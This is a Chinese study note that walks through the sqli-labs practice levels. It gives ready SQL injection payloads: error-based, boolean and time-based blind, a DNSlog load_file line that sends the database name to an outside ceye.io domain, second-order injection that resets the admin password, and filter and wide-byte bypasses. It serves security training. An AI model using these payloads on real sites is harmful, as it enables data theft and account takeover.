sql-lab 通关笔记
sql-lab
less1-4
加单引号报错得到报错信息
根据报错信息判断闭合条件
order by找字段数
union select找回显位置
找到回显位置正常爆数据
相同类型其他关卡
后端代码分析
GET方式获取id,单引号闭合,将查询到的数据输出到页面上
less5-10
加单引号得到报错信息
根据报错信息判断闭合条件
order by找字段数
union select没有回显位置
盲注
- 基于floor报错的盲注
原理是利用group by 处理rand 函数进行处理时,会多次对同一列进行查询,返回duplicate key 错误
利用公式
union Select 1,count(*),concat(你希望的查询语句,floor(rand(0)*2))a from information_schema.columns group by a--+
- updatexml报错注入
利用公式
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+
- extractvalue报错注入
利用公式
and extractvalue(1, concat(0x7e, (select @@version),0x7e))--+
updatexml和extractvalue 在MySQL 5.1.5版本及以后版本中用于对XML文件进行处理,当Xpath 路径出错时会报错。
3. 基于bool判断的盲注
利用公式
' or Length(database()) = 8--+
根据页面是否返回正常判断bool判断是否正确。
4. 基于时间的盲注
利用公式
' and if((select length(database())>7)>0,sleep(5),null) --+
sleep()和benchmark()可以用于延时注入,根据页面响应时间判断是否正确。
5. DNSlog平台盲注
DNSlog注入原理通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。可用于SQL注入中的盲注,XSS盲打,无回显的命令执行,无回显的SSRF,无回显的XXE(Blind XXE)。用于SQL盲注时需要满足secure_file_priv 为空。
利用公式
' and load_file(concat('\\\\',(select database()),'.**.ceye.io\\sql'))--+
sql-lab利用DNSlog平台注入
后端代码分析
GET方式获取id,单引号闭合,如果在数据库中查询到相关信息,返回特定信息作为flag,否则返回数据库错误信息。
less11-14
post 类型联合查询注入
1.判断
2.爆数据
3.后端代码分析
POST方式获取用户名和密码,单引号闭合,并将查询的数据显示在页面上。
post 类型盲注
1.判断
2.爆数据
3.后端代码分析
POST方式获取用户名和密码,单引号闭合,查询的数据不显示在页面上,只显示一个登陆成功的图片。
less15-16
没有错误回显时,可以借助or 1=1或者and 1=1以及order by判断闭合方式,有查询内容回显时也可以借助union select共同判断。
没有错误回显也没有内容回显,不能使用报错注入,只能使用布尔和时间盲注。
- 判断闭合
2.爆数据
3.后端代码分析
POST方式获取用户名和密码,单引号闭合,查询的数据不显示在页面上,只显示一个登陆成功的图片,不显示报错信息。
less17-22
不同注入点的注入类型
注入点在password 处
常见重置密码等数据库更新数据库的情况下
1.判断
2.爆数据
3.后端代码分析
POST方式获取用户名,然后再在更新密码处拼合,所以注入点在password。
注入点在usagent 处
1.注入单引号闭合,不能使用连接符+连接语句,不能使用注释符闭合。
2.后端代码分析
先获取用户名,在将ip信息和usagent信息插入数据库,原查询语句有过滤,所以没有漏洞。
注入点在referer 处
1.注入单引号闭合,不能使用连接符+连接语句,不能使用注释符闭合。
2.后端代码分析
先获取用户名,在将referer信息和usagent信息插入数据库,原查询语句有过滤,所以没有漏洞。
注入点在cookie 处
1.注入单引号闭合,不能使用连接符+连接语句,不能使用注释符闭合。
2.后端代码分析
前面查询用户的数据处做了过滤,后面又通过cookie 查询数据,存在注入。
cookie 注入base64编码
1.注入单引号闭合,不能使用连接符+连接语句,不能使用注释符闭合,对注入语句进行base64编码。
2.后端代码分析
主要对cookie 进行了base64编码
less23-28a
过滤绕过
过滤注释符
1.注入单引号闭合,不能使用注释符,使用and 和or 闭合语句。
2.后端代码分析
过滤了注释符
二次注入绕过过滤
1.注册一个新账号admin'#
2.修改新注册账号admin'# 的密码
3.实际上修改了admin 的密码
4.后端代码分析
通过注释符更新其他用户密码
过滤and和or
1.双写绕过
2.后端代码分析
匹配一次并替换成空格
过滤一大堆
1.and和or双写绕过,单引号闭合代替注释,括号代替空格,盲注
2.后端代码分析
过滤了一大堆
less29-31
两层服务架构,参数污染绕WAF
https://blog.csdn.net/m0_54899775/article/details/122156208
less32-37
宽字节注入
1.通过%bf或者其他ascii码大于128的字符进行绕过
2.后端代码分析
addslashes函数转换' 为'
post 类型宽字节注入
1.将 utf-8 转换为 utf-16 或 utf-32,例如将 '转为 utf-16 为 � ' ,进行注入
https://www.cnblogs.com/bmjoker/p/9134830.html
less38-45
堆叠注入
用户采用PDO编程( POD(PHP Data Object))且没有对参数进行过滤
mysqli_multi_query()函数也可以造成堆叠注入
https://blog.csdn.net/weixin_42530572/article/details/106439380
1.堆叠插入一条数据。
2.后端代码分析
使用函数mysqli_multi_query(),可同时执行多条sql语句
post类型堆叠注入
1.堆叠插入一条数据
http://bc.twsec.com.cn/sqli1/Less-42/login.php
less46-53
order by语句与limit语句的注入
order by 注入
1.报错注入
2.后端代码分析
order by 后面是注入点,不能使用union select 注入,使用报错注入或盲注
https://blog.csdn.net/m0_54899775/article/details/122202855
less54-75
前面的内容,练习巩固。
sql-lab 通关笔记的更多相关文章
- SQL基础语法笔记教程整理
PS:本文适用SQL Server2008语法. 一.关系型数据库和SQL 实际上准确的讲,SQL是一门语言,而不是一个数据库. 什么是SQL呢?简而言之,SQL就是维护和使用关系型数据库中的的数据的 ...
- SQL*Loader实验笔记【二】
所有SQL*Loader实验笔记 实验案例总结(1-7): SQL*Loader实验笔记[一] 实验案例总结(8-13): SQL*Loader实验笔记[二] 实验案例总结(14-19 ...
- SQL查询(笔记2——实体查询)
SQL查询(笔记2——实体查询) 二.实体查询 如果查询返回了某个数据表的全部数据列,且该数据表有对应的持久化类映射,我们就把查询结果转换成实体查询.将查询结果转换成实体,可以使用SQLQuery提供 ...
- SQL Server -- 回忆笔记(五):T-SQL编程,系统变量,事务,游标,触发器
SQL Server -- 回忆笔记(五):T-SQL编程,系统变量,事务,游标,触发器 1. T-SQL编程 (1)声明变量 declare @age int (2)为变量赋值 (3)while循环 ...
- SQL 基础语法笔记教程整理
最近从图书馆借了本介绍 SQL 的书,打算复习一下基本语法,记录一下笔记,整理一下思路,以备日后复习之用. PS:本文适用 SQL Server2008 语法. 首先,附一个发现的 MySQL 读书笔 ...
- 【SQL Server学习笔记】Delete 语句、Output 子句、Merge语句
原文:[SQL Server学习笔记]Delete 语句.Output 子句.Merge语句 DELETE语句 --建表 select * into distribution from sys.obj ...
- SQL 数据库初学笔记一
做web刚好用得上SQL和php,图书馆借来书,来一个一晚上速成 <SQL必知必会>笔记 通用的语法,相关分类执行程序(DBMS): Apache Open Office Base Ado ...
- 【程序员的SQL金典】笔记(第1章~第5章)
第一章数据库入门 1.概念: 数据库 表 列 记录(行) 主键 索引 第二章 数据表的创建和管理 1.数据库系统中的数据类型大致可以分为五类:整数.数值.字符相关.日期时间以及二进 ...
- sql第一课笔记
这是我看了imooc的视频教程之后重新写的笔记. 虽然之前也是学习过SQL Server数据库,但是也是忘记得差不多了.现在重新捡起来,安装一次数据库练习,使用的是mysql. 第一课是最简单的创建, ...
- SQL server2005学习笔记(一)数据库的基本知识、基本操作(分离、脱机、收缩、备份、还原、附加)和基本语法
在软件测试中,数据库是必备知识,假期闲里偷忙,整理了一点学习笔记,共同探讨. 阅读目录 基本知识 数据库发展史 数据库名词 SQL组成 基本操作 登录数据库操作 数据库远程连接操作 数据库分离操作 数 ...
随机推荐
- zabbix_agentd断断续续端无法访问问题记录
问题现象: zabbix监控上出现zabbix_agentd无法访问,但是实际上zabbix_agentd是存活状态 每隔一段时间就会出现这样的情况 问题原因 zabbix_agentd端任务较多,活 ...
- 当 SQL DELETE 邂逅 Table aliases,会擦出怎样的火花
开心一刻 晚上,女儿眼噙泪水躺在床上 女儿:你口口声声说爱我,说陪我,却天天想着骗我零花钱,你是我亲爹吗? 我:你想知道真相 女儿:想! 我:那你先给爸爸两百块钱! 环境准备 MySQL 不同版本 利 ...
- 【Elasticsearch】ES选主流程分析
Raft协议 Raft是分布式系统中的一种共识算法,用于在集群中选举Leader管理集群.Raft协议中有以下角色: Leader(领导者):集群中的领导者,负责管理集群. Candidate(候选者 ...
- LFS(Linux From Scratch)构建过程全记录(二):磁盘分区
写在前面 本文将会详细记录LFS中,构建分区,构建文件系统和挂载分区的全过程 准备新硬盘 为了更加符合"从零开始构建Linux"的要求,我在虚拟机中,新建了一个磁盘 我们将会在这个 ...
- 【debug】 Linux中top的使用
在我们日常的开发中,我们经常需要查看每个线程的cpu使用情况.其实,在linux中,top也是我们查看cpu使用状况的一个好帮手 top:先查看每一个进程的使用状况 我们可以发现PID:3800这个经 ...
- 小程序 AI/AR 能力
一.关于 VisionKit 1.定义 VisionKit 为小程序提供了开发 AR 功能的能力,包含了 AR 在内的视觉算法. 2.版本 提供了 V1 和 V2 两个版本,区别如下: V1平面接口, ...
- CentOS系统一键部署jdk,maven,tomcat,mysql
#!/bin/bash ####使用方法############### # chmod a+x JdTomK-Auto.sh # source JdTomK-Auto.sh ############# ...
- Elasticsearch中字段的类型
在Elasticsearch中,每一个字段都有一个类型(type).以下为Elasticsearch中可以使用的类型:
- PostgreSQL 删除表格
PostgreSQL 使用 DROP TABLE 语句来删除表格,包含表格数据.规则.触发器等,所以删除表格要慎重,删除后所有信息就消失了. 语法 DROP TABLE 语法格式如下: DROP TA ...
- day05-离线留言和离线文件
多用户即时通讯系统05 4.编码实现04(拓展) 拓展功能: 实现离线留言,如果某个用户不在线 ,当登陆后,可以接收离线的消息 实现离线发文件,如果某个功能没有在线,当登录后,可以接收离线的文件 4. ...